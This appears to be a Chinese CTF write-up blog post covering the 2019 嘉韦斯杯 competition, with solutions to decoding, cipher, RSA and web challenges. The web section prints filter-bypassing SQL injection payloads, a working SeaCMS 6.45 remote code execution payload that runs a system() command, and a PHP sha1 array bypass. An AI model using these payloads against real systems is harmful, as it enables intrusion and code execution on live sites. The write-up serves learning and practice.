嘉韦斯杯Writeup

一道SQL注入题,直接上sqlmap跑

打开链接,主页是一长串字符,base64解密,解出来是一段JSfuck编码,直接丢进浏览器的控制台,出flag

主页是一串十六进制的运算式,题目说要我们2秒内计算出结果并提交,所以这一题要靠脚本解决(正则表达式不会写,在正则表达式网站试了试,得出了能将式子全都提取出来的正则表达式,之后再进行一个式子截取,去掉其他无关字符)
脚本:

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import re

url = 'http://47.103.43.235:82/web/a/index.php'
r = requests.session()
res = r.get(url).text
cont = re.findall('-?[0-9xABCDEF]\d*[\+\-\*\%\^/( )]*',res)
cont = "".join(cont)
resu = eval(cont[1:59])
data = {'result':resu}
ans = r.post(url,data = data)
print(ans.text)

赛后专门琢磨了html内容提取,本体还可以用str.split("<p>")str.split("</p>")进行截取,截取方式不唯一,自己喜欢的才是最好的┓( ´-` )┏

打开链接是一张二维码图片,保存到本地,用binwalk分离出其中的压缩包

压缩包中有一个key.txt文件,flag应该就在里面了,解压发现需要密码,首先尝试伪加密破解,无果,应该是实打实的加密了,开始爆破密码,爆出密码:674290437,查看key.txt获得flag

神奇的密码1

又是一长串的字符,看出是base64,进行解密,又是一层base64,其中解出的base64编码的=都是%3D表示的。要将这部分url编码换成=再进行解码。最后解出得到fB__l621a4h4g_ai%7B%26i%7D
将其中的url编码解码得到fB__l621a4h4g_ai{&i}
可以看到这像是一段打乱顺序的flag,试试栅栏密码、凯撒密码和列移位密码
最终在栅栏密码5字一组的时候试出flag{B64_&_2hai_14i}

神奇的密码2

题目给了一串字符:bg[`sZ*Zg’dPfP`VM_SXVd
密码学的题,没多大头绪,规律是学长找出来的
脚本:

1
2
3
4
5
6
7
8
str='bg[`sZ*Zg\'dPfP`VM_SXVd'
strlen=len(str)
i=3
flag=''
for c in str:
i=i+1
flag=flag+chr(ord(c)+i)
print(flag)

又是一道SQL注入题,这题鼓捣了好久!

经过测试发现id=后面是以base64加密逆序输入的,过滤了or='unionselect,并且不需要闭合引号

爆库:
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,database()#
=MSKoU2chJWY0FGZsUDL0wyMsIDLx8iKq8CdjVGdjVGblNHblN3LqoyLu9Wau52bp5Wd19iKq8CM

爆表:
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,table_name/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()#
=owIpgSZzFmYhRXYk9iKq8SZrlGbvoiKvEWblh2Yz9VZsJWY09iKq8SZyVGa39iKq8yclxmYhRnLh1WZoN2cf52bpRXYtJncv9mZul2LqoyLt9mcm9iKq8SZtFmbfVGbiFGdsUDL0wyMsIDLx8iKq8CdjVGdjVGblNHblN3LqoyLu9Wau52bp5Wd19iKq8CM

爆列:
0/**/uunionnion/**/selselectect/**/1,2,3,4,5,column_name/**/from/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/0x666C6167 #
=MCI3YTM2MkN2YDew8iKq8SZrlGbvoiKvUWbh52XlxmYhR3LqoyLlJXZod3LqoyLz5Wb1x2bj5SYtVGajN3Xu9Wa0FWbyJ3bvZmbp9iKq8SbvJnZvoiKvUWbh52Xu1Wds92YsUDL0wyMsIDLx8iKq8CdjVGdjVGblNHblN3LqoyLu9Wau52bp5Wd19iKq8CM

最后payload:
0/**/uniunionon/**/seselectlect/**/1,2,3,4,5,flag/**/from/**/flag#
jcWYsZ2LqoyLt9mcm9iKq8yZhxmZsUDL0wyMsIDLx8iKq8CdjVGb0NWZsV2clN3LqoyLu9mbvlmb1lmb19iKq8CM

上Kali的openssl,其中e就是exponent的值,转成十进制:

将解出的这串数字进行因式分解
http://factordb.com

最后用python脚本进行解密:

1
2
3
4
5
6
7
8
9
10
11
#coding:utf-8 
import gmpy
import rsa
p = 273821108020968288372911424519201044333
q = 280385007186315115828483000867559983517
n = 76775333340223961139427050707840417811156978085146970312315886671546666259161
e = 65537
d = int(gmpy.invert(e , (p-1) * (q-1)))
privatekey = rsa.PrivateKey(n , e , d , p , q) #根据已知参数,计算私钥
with open("fllllllag.txt" , "rb") as f:
print(rsa.decrypt(f.read(), privatekey).decode()) #使用私钥对密文进行解密,并打印

seacms

这道题是直接利用海洋CMS 6.45版本前台getshell漏洞的payload打下来的
Payload:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[9]))&9[]=sy&9[]=stem(‘cat ../../flag.txt’);

查看源代码获得提示index.phps,得到主页源代码

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
$flag = '********';
if (isset($_POST['name']) and isset($_POST['password'])){
if ($_POST['name'] == $_POST['password'])
print 'name and password must be diffirent';
else if (sha1($_POST['name']) === sha1($_POST['password']))
die($flag);
else print 'invalid password';
}
?>

题目的关键点是name和password传入的内容要不同并且name和password的sha1值类型和内容都相同。那么就是主要考虑sha1对比的绕过。sha1函数要求传入的参数是字符串类型,那传入两个比如数组类型,结果就都是false,这样就会输出flag了

拾壹

查看网页源代码

这道题上来首先就将我们传入的param1和param2类型转化为string,所以是不能通过数组绕过了。直接在网上搜了这样的两个值post上去:

后记

这次比赛一共15道题,有四道没做出来,两道脑洞题,两道逆向(逆向真不是谁都能玩的啊!)。其中有一道希尔密码的题花的时间最多(关于希尔密码的加密解密有兴趣的同学可以自行百度,这里不再赘述),脚本是历经千辛万苦找到了,但最后flag还是不对……于是我去问了主办方,主办方说是这题有脑洞!!!行吧!
希尔密码解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Ma=[
1,4,7,
2,5,8,
3,6,10
]
code=[
23,10,12,
24,16,2,
25,3,9,
0,9,5
]
answer=[]
flag = 0
for t in range(0,12,3):
flag = 0
for i in range(0,99,1):
for j in range(0,99,1):
for k in range(0,99,1):
if ((1*i + 4*j + 7*k)%26 == code[t] and
(2*i + 5*j + 8*k)%26 == code[t+1] and
(3*i + 6*j + 10*k)%26 == code[t+2]):
answer.append(i)
answer.append(j)
answer.append(k)
flag = 1
break
if(flag):
break
if(flag):
break
if(flag):
continue
print (answer)
for i in answer:
print (chr(i + 97),end="")

其中Ma是加密矩阵的逆矩阵,code是密文各字母对应的数字编码

比赛陆陆续续开始多起来了,好好加油吧!
菜就是原罪!

文章作者: Cryscat
文章链接: http://www.cryscat.com/2019/04/01/嘉韦斯杯Writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cryscat's Blog
打赏
  • 微信
  • 支付宝

评论